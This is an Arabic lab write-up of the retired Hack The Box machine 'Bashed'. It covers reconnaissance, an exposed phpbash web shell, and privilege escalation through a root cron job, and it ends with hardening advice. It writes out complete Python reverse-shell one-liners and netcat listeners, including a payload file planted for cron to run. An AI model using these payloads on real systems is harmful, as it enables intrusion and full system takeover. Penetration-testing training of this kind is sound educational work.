هدوء الأعصاب وتحليل آلة Bashed من Hack The Box

مقدمة إلى تحدي Hack The Box وآلة Bashed

تُعد منصة Hack The Box من أشهر البيئات التعليمية المخصصة لتطوير مهارات اختبار الاختراق وتحليل الأنظمة. تضم المنصة مجموعة كبيرة من التحديات التي تتجدد باستمرار، وبعضها يحاكي بيئات حقيقية، بينما يأتي بعضها الآخر بأسلوب أقرب إلى مسابقات CTF.

في هذا المقال سنستعرض تحليل آلة Bashed، وهي آلة بمستوى سهل نسبيًا، لكنها تُبرز أهمية الاستطلاع الدقيق، وفحص الأدلة الصغيرة، واكتشاف الملفات الحساسة، ثم استغلال سوء الإعداد للوصول إلى تصعيد الصلاحيات.

ملاحظة مهمة: يُسمح فقط بنشر شروحات الآلات المتقاعدة من منصة HTB.

تعتمد هذه الآلة على مفاهيم أساسية لكنها بالغة الأهمية، ومنها:

• إجراء استطلاع شبكي صحيح.
• فحص الأدلة الموجودة في تطبيق الويب.
• الوصول إلى ملفات المطور المنشورة خطأً.
• فهم آلية عمل مهام cron في لينكس.
• استغلال التنفيذ الدوري للملفات من أجل تصعيد الصلاحيات.

الأدوات المستخدمة في هذا التحليل تشمل:

• nmap
• dirbuster
• nikto
• netcat

الخطوة الأولى: الاستطلاع وجمع المعلومات

قبل محاولة استغلال أي آلة، ينبغي تنفيذ مرحلة استطلاع شاملة. هذه المرحلة ليست مجرد خطوة تمهيدية، بل هي الأساس الذي يُبنى عليه كامل المسار الهجومي. كل خدمة مفتوحة، أو مجلد مكشوف، أو سلوك غير اعتيادي قد يقود إلى نقطة دخول مهمة.

فحص المنافذ باستخدام Nmap

أداة Nmap من الأدوات القياسية في اكتشاف الخدمات والأنظمة. يمكن استخدامها لمعرفة المنافذ المفتوحة، ونوع الخدمات، وبعض خصائص النظام المستهدف.

تم تنفيذ فحص مكثف بالأمر التالي:

nmap -A -v 10.129.90.251

شرح الوسائط المستخدمة:

• -A: لتفعيل اكتشاف نظام التشغيل، وإصدار الخدمة، والسكربتات، وtraceroute.
• -v: لزيادة مستوى التفاصيل في المخرجات.
• 10.129.90.251: عنوان IP الخاص بالآلة المستهدفة.

ولمن يفضّل مخرجات أبسط، يمكن استخدام:

nmap 10.129.90.251

من النتائج يظهر أن هناك منفذًا مفتوحًا واحدًا فقط، وهو المنفذ 80، ما يشير إلى وجود خدمة HTTP. هذه إشارة واضحة إلى أن سطح الهجوم يتركز على تطبيق الويب.

فحص الأدلة والملفات باستخدام DirBuster

بعد معرفة أن الخدمة المتاحة هي خدمة ويب، ننتقل إلى البحث عن الأدلة والملفات المخفية. أداة DirBuster مناسبة لهذه المهمة، إذ تعتمد على التخمين المنهجي للمسارات باستخدام قوائم كلمات.

يمكن تشغيلها بالأمر:

dirbuster

ثم يُحدَّد الهدف على الشكل:

http://10.129.90.251

واستُخدمت قائمة الكلمات directory-list-2.3-medium.txt للبحث.

من بين النتائج ظهرت مسارات تستحق الاهتمام، مثل:

• /uploads
• /dev
• /php

وجود مجلد باسم /dev في بيئة إنتاجية غالبًا ما يكون مؤشرًا على محتوى تجريبي أو أدوات تطويرية غير مؤمنة.

فحص خادم الويب باستخدام Nikto

لزيادة التحقق من الإعدادات والمخاطر المحتملة على خادم الويب، استُخدمت أداة Nikto، وهي متخصصة في فحص الخوادم والبحث عن الإصدارات القديمة، والمجلدات الحساسة، ومشكلات الإعداد الشائعة.

nikto -host 10.129.90.251

أكدت النتائج وجود أدلة مهمة مثل /dev و/php، ما يدعم فرضية وجود ملفات تطوير مكشوفة للعامة.

الخطوة الثانية: تحليل صفحات الويب واكتشاف نقطة الدخول

بعد انتهاء مرحلة الاستطلاع، تبدأ مرحلة زيارة الصفحات المكتشفة وتحليلها منطقيًا. غالبًا ما تظهر نقطة الاختراق في تفاصيل تبدو عادية للوهلة الأولى.

عند فتح الصفحة الرئيسية، بدا الموقع وكأنه مدونة متعلقة بالتطوير.

من بين المقالات الظاهرة كان هناك مقال عن phpbash. وبالضغط عليه، ظهرت معلومات عن الأداة ورابط إلى المستودع الخاص بها على GitHub.

الرابط المشار إليه هو:

https://github.com/Arrexel/phpbash

بعد ذلك، تم الانتقال إلى المجلد /dev. وهنا ظهرت إشارة أوضح إلى أن المطور رفع ملفات العمل مباشرة إلى الخادم.

عند فتح الملف phpbash.php، أصبحت هناك واجهة أوامر داخل المتصفح عبر الرابط التالي:

http://10.129.90.251/dev/phpbash.php

هذا الخطأ يُعد من أخطر أخطاء النشر، لأنه يمنح منفذ تنفيذ أوامر مباشرة من خلال المتصفح دون الحاجة إلى ثغرة معقدة.

الخطوة الثالثة: الوصول إلى ملف user.txt

بمجرد الحصول على وصول أولي إلى النظام، يكون الهدف التالي عادة هو فهم بنية الملفات والوصول إلى حساب المستخدم.

للاطلاع على الملفات والمجلدات استُخدم الأمر:

ls -la

ثم الانتقال إلى مجلد home:

cd home

ظهر مجلد المستخدم arrexel.

وبعد الدخول إليه، أمكن العثور على ملف العلم الخاص بالمستخدم. ولعرض محتوياته استُخدم:

cat user.txt

الخطوة الرابعة: تصعيد الصلاحيات في آلة Bashed

الوصول الأولي لا يكفي في هذا النوع من التحديات، إذ يجب الانتقال إلى صلاحيات أعلى. وهنا كان لا بد أولًا من الحصول على جلسة طرفية أكثر استقرارًا من واجهة المتصفح.

إنشاء reverse shell عبر Python

جرى تنفيذ أمر لإنشاء اتصال عكسي من الآلة المستهدفة إلى جهاز التحليل. يجب استبدال القيمة YOUR_MACHINE_IP بعنوان الجهاز المحلي الخاص بك.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_MACHINE_IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

وعلى جهاز Kali Linux جرى فتح مستمع باستخدام Netcat على المنفذ 1234:

nc -nvlp 1234

بعد نجاح الاتصال، أمكن التحقق من المستخدم الحالي عبر:

whoami

ثم فحص الأوامر المتاحة باستخدام sudo:

sudo -l

تحسين الجلسة الطرفية

للحصول على جلسة أكثر قابلية للاستخدام، تم تشغيل طرفية شبه تفاعلية بالأمر التالي:

python -c 'import pty; pty.spawn("/bin.bash");'

ثم جرى التبديل إلى المستخدم scriptmanager بالأمر:

sudo -u scriptmanager /bin/bash

تحليل مجلد /scripts وفهم سلوك cron

بعد ذلك، تم الانتقال إلى المجلد /scripts، حيث ظهرت ملفات مثل test.py وtest.txt.

ظهر أن الملف test.txt مملوك للمستخدم root، بينما الملف test.py مرتبط بالمستخدم scriptmanager. هذه العلاقة توحي بأن سكربتًا ما يُنفذ بصلاحيات عالية ويكتب ناتجه داخل test.txt.

تمت قراءة محتوى الملف test.py عبر:

cat test.py

ثم قراءة محتوى test.txt بالأمر:

cat test.txt

عند إعادة استعراض الملفات، لوحظ تغير وقت التعديل الخاص بالملف test.txt، ما يشير بقوة إلى وجود مهمة cron تقوم بتنفيذ ملفات Python دوريًا داخل هذا المجلد.

استغلال مهمة cron للحصول على صلاحيات root

جرى إنشاء ملف خبيث يحتوي على reverse shell جديد ليستقبل اتصالًا على المنفذ 1235:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_MACHINE_IP",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > exploit.py

ثم حذف الملف test.py:

rm test.py

بعد ذلك، جرى فتح مستمع جديد على الجهاز المحلي:

nc -nvlp 1235

وبعد لحظات، تم الحصول على جلسة بصلاحيات root. وللتحقق من الفرضية المتعلقة بمهام cron، استُخدم الأمر:

crontab -l

وتؤكد النتيجة أن مهمة cron كانت تنفذ ملفات Python الموجودة داخل المجلد /scripts، وهو ما أدى إلى تصعيد الصلاحيات بنجاح.

الخطوة الخامسة: الوصول إلى ملف root.txt

بعد الحصول على صلاحيات المدير الأعلى، لم يتبقَّ سوى الوصول إلى العلم النهائي.

تم الانتقال إلى مجلد root، ثم قراءة الملف:

cat root.txt

وبهذا تكون قد وصلت إلى العلمين: user.txt وroot.txt.

الدروس الأمنية المستفادة من آلة Bashed

هذا التحدي يوضح كيف يمكن لسلسلة من الأخطاء البسيطة أن تؤدي إلى اختراق كامل للنظام. لم تكن هناك ثغرة معقدة بقدر ما كان هناك سوء إعداد وتهاون في النشر والتشغيل.

• رفع أدوات تطوير مثل phpbash إلى الخادم الإنتاجي يُعد خطرًا بالغًا.
• كشف الأدلة الحساسة مثل /dev يمنح المهاجمين مسارات مباشرة للوصول.
• تشغيل ملفات قابلة للتعديل من خلال cron بصلاحيات مرتفعة يفتح بابًا واضحًا لتصعيد الصلاحيات.
• الاستطلاع الجيد قد يكون أهم من الاستغلال نفسه، لأنه يكشف المسار الأضعف في النظام.

إجراءات المعالجة والتقوية الأمنية

لتجنب سيناريوهات مشابهة، يُنصح بتطبيق الإجراءات التالية:

1. اتباع مبدأ أقل الصلاحيات Principle of Least Privilege على جميع المستخدمين والخدمات.
2. منع نشر الأدوات التطويرية أو التجريبية على الخوادم المتاحة للعامة.
3. حماية الأدلة والملفات الحساسة عبر إعدادات خادم الويب المناسبة.
4. مراجعة مهام cron دوريًا والتأكد من أنها لا تنفذ ملفات قابلة للتعديل من مستخدمين منخفضي الصلاحية.
5. تنفيذ عمليات مراقبة وتدقيق دورية لاكتشاف الملفات أو السكربتات المكشوفة.

الخلاصة التقنية

آلة Bashed مثال ممتاز على أن الاختراق لا يعتمد دائمًا على ثغرات معقدة، بل قد يبدأ من ملف مكشوف أو أداة تطوير منسية على الخادم. تقنيًا، أبرز ما يميز هذا السيناريو هو الربط بين الاستطلاع الذكي، وتحليل بنية التطبيق، ثم استغلال سلوك تشغيلي غير آمن في cron. لذلك فإن حماية بيئات الإنتاج لا تتطلب فقط تحديث الأنظمة، بل تتطلب أيضًا ضبطًا صارمًا للنشر، والصلاحيات، والمهام المجدولة.